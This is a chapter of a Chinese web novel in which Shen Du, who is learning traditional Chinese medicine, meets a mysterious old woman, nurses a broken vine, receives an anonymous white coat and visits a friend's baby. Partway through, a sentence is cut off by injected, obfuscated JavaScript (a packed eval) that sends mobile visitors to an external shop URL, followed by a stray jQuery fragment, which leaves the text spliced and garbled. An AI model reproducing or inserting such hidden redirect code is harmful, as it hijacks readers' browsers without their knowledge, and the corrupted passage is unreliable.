沈渡是在一个灰蒙蒙的早晨再次见到那个老太太的。不是义诊的日子，她去社区还林医生上次借给她的血压计。走到门口的时候，看到一个熟悉的身影坐在台阶上。穿着深灰色的棉袄，头发全白了，梳得整整齐齐，戴着一副老花镜，手里拿着一本书。沈渡走近了才发现，那本书是她上次在义诊时放在桌上的《家庭中医保健手册》。
老太太抬起头，摘下老花镜，笑了。眼角的皱纹像扇子一样展开，和上次一模一样。
“沈小姐，我又来了。”
沈渡在她旁边坐下来，把血压计放在脚边。“阿姨，您等多久了？”
“没多久。我知道你今天不来义诊，但我想见你，就来了。”
沈渡看着她的脸。还是那么白净，眼睛还是那么有神。这一次，沈渡注意到她的手。那双手很瘦，骨节分明，指甲修得很整齐，没有涂指甲油。她的右手食指和中指上有薄茧，不是劳动的茧，是握笔的茧。她是读书人，可能还是写书人。
“阿姨，您上次说您不是普通人。您能告诉我您是谁吗？”
老太太把书合上，放在膝盖上。“我是谁不重要。我来，是想跟你说一句话。”
“什么话？”
“你走的这条路，有人走过。她走通了，你也能。”
沈渡的手指缩了一下。“那个人是谁？”
老太太没有回答。她站起来，拍了拍棉袄上并不存在的灰。“你以后会知道的。”她走了。步子不快不慢，背影很直，不像一个六十多岁的老人。
沈渡坐在台阶上，看着那个背影一点一点走远。她想起贺老说的——“她不是普通人，她是另一个你。”另一个你，是过去的你，还是未来的你？她不知道。
沈渡没有追上去。她坐在那里，坐了很久，久到阳光从云层后面钻出来，照在她的脸上。不是那种喷薄而出的、灿烂的光，是冬天那种吝啬的、一点一点的、像在试探你还值不值得被照亮的光。
周一上班，沈渡打开电脑，看到一封新邮件。公司的内部系统弹出一个通知，下个月有一个财务人员继续教育培训，自愿报名。她把邮件标记为已读，没有回。不是不想去，是她的时间要留给更重要的事，不是财务培训不重要，是她的心已经不在这里了。她的心在贺老的院子里、在社区的诊室里、在人民医院的病房中。她的心在更远的地方。心不在了，人留在这里，只是躯壳。躯壳也是有用的，躯壳还要赚钱交房租，还要买书，买针，买车票去看陈媛。躯壳是船，船要保养。她现在不想换船，先把这条船修好，修好了才能去更远的地方。
那盆断藤还是没有长新叶，老叶子黄了第三片。沈渡把那片黄叶摘掉，顺着藤摸到根部，又用手指刨开一点土。根还在，没有黑，没有腐烂，白色的，细如发丝。它在地下长，你看不到。你看不到不代表它没在长。它只是不想被看到。
沈渡拍了那根断藤的白根，用手机拍了一张照片，发给了贺老。过了一会儿贺老回了一条语音：“根是活的。少浇水，多晒太阳。它会醒的。”沈渡把花盆从窗台内侧移到窗台外侧，那个位置阳光最好，从早到晚都能晒到。
二月的第一天，沈渡收到了一个包裹。不是快递员送来的，是放在便利店门口的。赵大爷说是早上开门就看到了，上面写着沈渡的名字。包裹不大，方方正正的，用牛皮纸包着，外面缠了好几圈透明胶带。沈渡拆开，里面是一套白大褂，质量很好，面料厚实，左胸口袋上绣着三个字——“沈渡”。不是“沈医生”，是“沈渡”。她不知道是谁送的，不知道是裴衍还是那个老太太，还是别的什么人。但她把那件白大褂穿上了，大小刚好，袖子不长不短，领口不紧不松。不是定制的，是有人知道她的尺码。有人了解她，比她以为的更深。
周六去贺老那里，沈渡穿着那件白大褂。贺老看了一眼，没问她是谁送的，只说了一句：“合身。”沈渡坐在枇杷树下，阳光从叶缝里漏下来，落在她的白大褂上，一块一块的。她想起第一次来的时候，贺老说她的身体像一个快干掉的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17621444|206186||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
河。现在她知道河不会干，只是冬天水浅。春天来了，水就涨了。水在涨，船也在涨。等到水涨到船沿，她就可以出发了。
下午沈渡去看了徐敏和念念。念念快四个月了，会翻身了，从仰卧翻成俯卧，再从俯卧翻成仰卧，翻来翻去，像一只停不下来的小乌龟。徐敏说她晚上睡觉也在翻，翻着翻着就醒了，醒了就哭。沈渡笑了。“她是在练本事。练好了就不翻了。”
念念趴在爬行垫上，看到沈渡，朝她伸出了手。不是认人，是抓东西。什么东西在她面前，她就抓什么。沈渡把手伸过去，念念握住了她的食指，握得很紧。五根手指，每一根都像一截小小的豆芽。念念的力气比以前大了，握得她手指有点疼。她忍住了疼，没有抽回来。念念握了一会儿，松开了，把拳头塞进嘴里啃。
徐敏看着念念，说：“她昨天第一次叫‘妈’。不是有意识的，是无意识的。但我听到了。我哭了好久。”
沈渡看着念念。念念不知道妈妈为什么哭，她只是啃着自己的拳头。啃了一会儿啃不出味道，又朝沈渡伸出了手。
晚上沈渡回到家，坐在书桌前，翻开《针灸大成》的最后一章。“孙真人针十三鬼穴歌”不是她要学的，只是翻到了就顺便看看。看了两页，看不懂，合上。有些东西现在看不懂，就放着。以后看懂了，就是进步。现在看不懂，不是现在没用，是现在用不到。用不到的东西可以先不看，先把用得到的学好。
沈渡关了灯，躺在床上。窗外的月亮不圆，缺了一块。她的手机亮了一下，是陈媛发来的消息：“沈渡，我明天去医院复查。如果结果好，我就请你吃饭。”沈渡回复了一个“好”字，然后把手机放在枕头边。
黑暗中，她把手放在胸口，感觉到了心跳。一下一下，不快不慢。
“断藤会活吗？”她问。
那个声音沉默了一会儿。
“会的。”
沈渡闭上眼睛，黑暗像水一样漫上来。但她不害怕。在水里，她知道怎么呼吸。